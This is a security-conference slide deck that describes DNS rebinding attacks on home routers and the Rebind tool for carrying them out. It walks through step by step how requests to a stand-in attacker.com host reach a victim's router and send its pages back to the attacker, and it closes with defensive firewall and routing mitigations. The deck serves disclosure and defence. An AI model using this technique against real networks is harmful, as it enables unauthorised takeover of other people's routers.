How to Hack Millions of Routers

Craig Heffner
Administrivia

- My overarching objective with this talk is to increase security awareness and serve as a catalyst for positive change
- I developed this paper and the conclusions reached and the information presented, on my own time, not on behalf of Seismic or using any resources of Seismic and in fact prior to working for Seismic
- My information was derived from well-known public vulnerabilities and other public sources
- I joined Seismic (now an Applied Signal Technology company) to develop solutions to these type of problems and to increase the integrity of our networks
SOHO Router...Security?

DD-WRT (httpd service) Remote Command Execution Vulnerability

BT HOME FLUB: PWNIN THE BT HOME HUB
published: October 8th, 2007
OK, let me get to the point. The BT Home Hub, which is probably the most popular home router in the UK, is susceptible to critical vulnerabilities.

Linksys Wi-Fi router vulnerability discovered

ASUS WL-500W Wireless Router Two Vulnerabilities

Report ID: SA200904719
Source: Secunia
Date of Discovery: 03.09.2009
Criticality: Urgent

Affects: ASUS WL-500W Wireless Router
Compromise From: Unknown
Compromise Type: System access

Summary
Two vulnerabilities have been reported in ASUS WL-500W wireless router. One vulnerability has an unknown while the other can be exploited to compromise a vulnerable device.

Hack lets intruders sneak into home routers

By Joris Evers
Staff Writer, CNET News

Popular Home Router Flaw Found

UPDATE: Officials downplay the extent of the vulnerability, saying it only affects older firmware versions and requires the user's password.

November 5, 2002
By Jim Wagner: More stories by this author:

A remote management flaw, published by a security firm recently, affects older versions of the Linksys EtherFast Cable/DSL Router and could extend to the company’s entire home networking product line.
Common Attack Techniques

- **Cross Site Request Forgery**
  - No trust relationship between browser and router
  - Can’t forge Basic Authentication credentials
  - Anti-CSRF
  - Limited by the same origin policy

- **DNS Rebinding**
  - Rebinding prevention by OpenDNS / NoScript / DNSWall
  - Most rebinding attacks no longer work
  - *Most*...
Multiple A Record Attack

- Better known as DNS load balancing / redundancy

- Return multiple IP addresses in DNS response
  - Browser attempts to connect to each IP addresses in order
  - If one IP goes down, browser switches to the next IP in the list

- Limited attack
  - Can rebind to any public IP address
  - Can’t rebind to an RFC1918 IP addresses
Rebinding to a Public IP

- Target IP: 2.3.5.8
- Attacker IP: 1.4.1.4
- Attacker Domain: attacker.com
Rebinding to a Public IP

What is the IP address for attacker.com?
Rebinding to a Public IP
Rebinding to a Public IP

GET / HTTP/1.1
Host: attacker.com
Rebinding to a Public IP
Rebinding to a Public IP

GET / HTTP/1.1
Host: attacker.com
Rebinding to a Public IP

TCP RST

1.4.1.4

2.3.5.8
Rebinding to a Public IP

GET / HTTP/1.1
Host: attacker.com
Rebinding to a Public IP

<html>…</html>
Rebinding to a Private IP

Target IP: 192.168.1.1
Attacker IP: 1.4.1.4
Attacker Domain: attacker.com
Rebinding to a Private IP

What is the IP address for attacker.com?

192.168.1.1

1.4.1.4
Rebinding to a Private IP

1.4.1.4
192.168.1.1

192.168.1.1

1.4.1.4
Rebinding to a Private IP

GET / HTTP/1.1
Host: attacker.com

192.168.1.1
1.4.1.4
Rebinding to a Private IP

<html>…</html>
## Services Bound to All Interfaces

```bash
# netstat -l
```

### Active Internet connections (only servers)

<table>
<thead>
<tr>
<th>Proto</th>
<th>Recv-Q</th>
<th>Send-Q</th>
<th>Local Address</th>
<th>Foreign Address</th>
<th>State</th>
</tr>
</thead>
<tbody>
<tr>
<td>tcp</td>
<td>0</td>
<td>0</td>
<td>*:80</td>
<td><em>:</em></td>
<td>LISTEN</td>
</tr>
<tr>
<td>tcp</td>
<td>0</td>
<td>0</td>
<td>*:53</td>
<td><em>:</em></td>
<td>LISTEN</td>
</tr>
<tr>
<td>tcp</td>
<td>0</td>
<td>0</td>
<td>*:22</td>
<td><em>:</em></td>
<td>LISTEN</td>
</tr>
<tr>
<td>tcp</td>
<td>0</td>
<td>0</td>
<td>*:23</td>
<td><em>:</em></td>
<td>LISTEN</td>
</tr>
</tbody>
</table>
Firewall Rules Based on Interface Names

- A INPUT –i etho –j DROP
- A INPUT –j ACCEPT
IP Stack Implementations

- RFC 1122 defines two IP models:
  - Strong End System Model
  - Weak End System Model
The Weak End System Model

- RFC 1122, Weak End System Model:

  - A host MAY silently discard an incoming datagram whose destination address does not correspond to the physical interface through which it is received.

  - A host MAY restrict itself to sending (non-source-routed) IP datagrams only through the physical interface that corresponds to the IP source address of the datagrams.
Weak End System Model

eth1
192.168.1.1

eth0
2.3.5.8
Weak End System Model

TCP SYN Packet
Source IP: 192.168.1.100
Destination IP: 2.3.5.8
Destination Port: 80

eth1
192.168.1.1

eth0
2.3.5.8
Weak End System Model

TCP SYN/ACK Packet
Source IP: 2.3.5.8
Destination IP: 192.168.1.100
Source Port: 80

eth1 192.168.1.1
eth0 2.3.5.8
Weak End System Model

TCP ACK Packet
Source IP: 192.168.1.100
Destination IP: 2.3.5.8
Destination Port: 80

eth1
192.168.1.1

eth0
2.3.5.8
Traffic Capture

Wireshark interface showing captured traffic with details of TCP packets including timestamps, source and destination IP, protocol, and packet information.
End Result

http://2.3.5.8/
Public IP Rebinding Attack

Target IP: 2.3.5.8
Attacker IP: 1.4.1.4
Attacker Domain: attacker.com
Public IP Rebinding Attack

What is the IP address for attacker.com?

- 2.3.5.8
- 1.4.1.4
Public IP Rebinding Attack
Public IP Rebinding Attack

GET / HTTP/1.1
Host: attacker.com
Public IP Rebinding Attack
Public IP Rebinding Attack

GET / HTTP/1.1
Host: attacker.com
Public IP Rebinding Attack
Public IP Rebinding Attack

GET / HTTP/1.1
Host: attacker.com
Public IP Rebinding Attack

<html>…</html>

2.3.5.8

1.4.1.4
Public IP Rebinding Attack

**Pros:**
- Nearly instant rebind, no delay or waiting period
- Don’t need to know router’s internal IP
- Works in all major browsers: IE, FF, Opera, Safari, Chrome

**Cons:**
- Router must meet very specific conditions
  - Must bind Web server to the WAN interface
  - Firewall rules must be based on interface names, not IP addresses
  - Must implement the weak end system model
- Not all routers are vulnerable
Affected Routers
Asus
Dell
Thompson
Linksys
Third Party Firmware

dd-wrt.com

OpenWrt
Wireless Freedom

pfSense
ActionTec
Making the Attack Practical

To make the attack practical:
- Must obtain target’s public IP address automatically
- Must coordinate services (DNS, Web, Firewall)
- Must do something useful
Tool Release: Rebind

- Provides all necessary services
  - DNS, Web, Firewall

- Serves up JavaScript code
  - Limits foreground activity
  - Makes use of cross-domain XHR, if supported
  - Supports all major Web browsers

- Attacker can browse target routers in real-time
  - Via a standard HTTP proxy
Rebind

Target IP: 2.3.5.8
Rebind IP: 1.4.1.4
Attacker Domain: attacker.com
Rebind

Register a NameServer Name

Nameserver: ns1.attacker.com
IP Address: 1.4.1.4

Save Changes
## Nameservers

<table>
<thead>
<tr>
<th>Nameserver 1:</th>
<th>ns1.attacker.com</th>
</tr>
</thead>
<tbody>
<tr>
<td>Nameserver 2:</td>
<td></td>
</tr>
<tr>
<td>Nameserver 3:</td>
<td></td>
</tr>
<tr>
<td>Nameserver 4:</td>
<td></td>
</tr>
</tbody>
</table>

[Save Changes]
What is the IP address for attacker.com?
Rebind
Rebind

GET /init HTTP/1.1
Host: attacker.com
Rebind

Location: http://wacme.attacker.com/exec
What is the IP address for wacme.attacker.com?
Rebind
Rebind

GET /exec HTTP/1.1
Host: wacme.attacker.com
Rebind
Rebind

GET / HTTP/1.1
Host: wacme.attacker.com

2.3.5.8 → 1.4.1.4
Rebind

TCP RST

2.3.5.8

1.4.1.4
Rebind

GET / HTTP/1.1
Host: wacme.attacker.com
Rebind
Rebind

GET /poll HTTP/1.1
Host: attacker.com:81
Rebind

2.3.5.8

1.4.1.4
Rebind
Rebind

GET http://2.3.5.8/ HTTP/1.1
GET /poll HTTP/1.1
Host: attacker.com:81
Rebind

GET / HTTP/1.1
Rebind

GET / HTTP/1.1
Host: wacme.attacker.com
Rebind

<html>…</html>

2.3.5.8

1.4.1.4
Rebind

POST /exec HTTP/1.1
Host: attacker.com:81

<html>…</html>
Rebind

<html>…</html>
Demo
More Fun With Rebind

- Attacking SOAP services
  - UPnP
  - HNAP

- We can rebind to any public IP
  - Proxy attacks to other Web sites via your browser
    - As long as the site doesn’t check the host header
DNS Rebinding Countermeasures

I has a Force Field
Am I Vulnerable?
End-User Mitigations

- Break any of the attack’s conditions
  - Interface binding
  - Firewall rules
  - Routing rules
  - Disable the HTTP administrative interface

- Reduce the impact of the attack
  - Basic security precautions
Blocking Attacks at the Router

- Don’t bind services to the external interface
  - May not have sufficient access to the router to change this
  - Some services don’t give you a choice

- Re-configure firewall rules
  - `A INPUT –i eth1 –d 172.69.0.0/16 –j DROP`
HTTP Administrative Interface

- Disable the HTTP interface
  - Use HTTPS / SSH
  - Disable UPnP while you’re at it

- But be warned…
  - Enabling HTTPS won’t disable HTTP
  - In some routers you can’t disable HTTP
  - Some routers have HTTP listening on alternate ports
  - In some routers you can’t disable HNAP
Blocking Attacks at the Host

- Re-configure firewall rules
  - `–A INPUT –d 172.69.0.0/16 –j DROP`

- Configure dummy routes
  - `route add -net 172.69.0.0/16 gw 127.0.0.1`
Basic Security Precautions

- Change your router’s default password
- Keep your firmware up to date
- Don’t trust untrusted content
Vendor / Industry Solutions

- Fix the same-origin policy in browsers
- Implement the strong end system model in routers
- Build DNS rebinding mitigations into routers
Conclusion

- DNS rebinding still poses a threat to your LAN
- Tools are available to exploit DNS rebinding
- Only you can prevent forest fires
Q & A

- Rebind project
  - http://rebind.googlecode.com

- Contact
  - heffnerjc@gmail.com
References

- Java Security: From HotJava to Netscape and Beyond

- Protecting Browsers From DNS Rebinding Attacks

- Design Reviewing the Web
  - http://www.youtube.com/watch?v=cBFlzp8vR9M

- Intranet Invasion Through Anti-DNS Pinning

- Anti-DNS Pinning Demo
References

- **Same Origin Policy**
- **RFC 1122**
  - [http://www.faqs.org/rfcs/rfc1122.html](http://www.faqs.org/rfcs/rfc1122.html)
- **Loopback and Multi-Homed Routing Flaw**
  - [http://seclists.org/bugtraq/2001/Mar/42](http://seclists.org/bugtraq/2001/Mar/42)
- **TCP/IP Illustrated Volume 2, W. Richard Stevens**
  - p. 218 – 219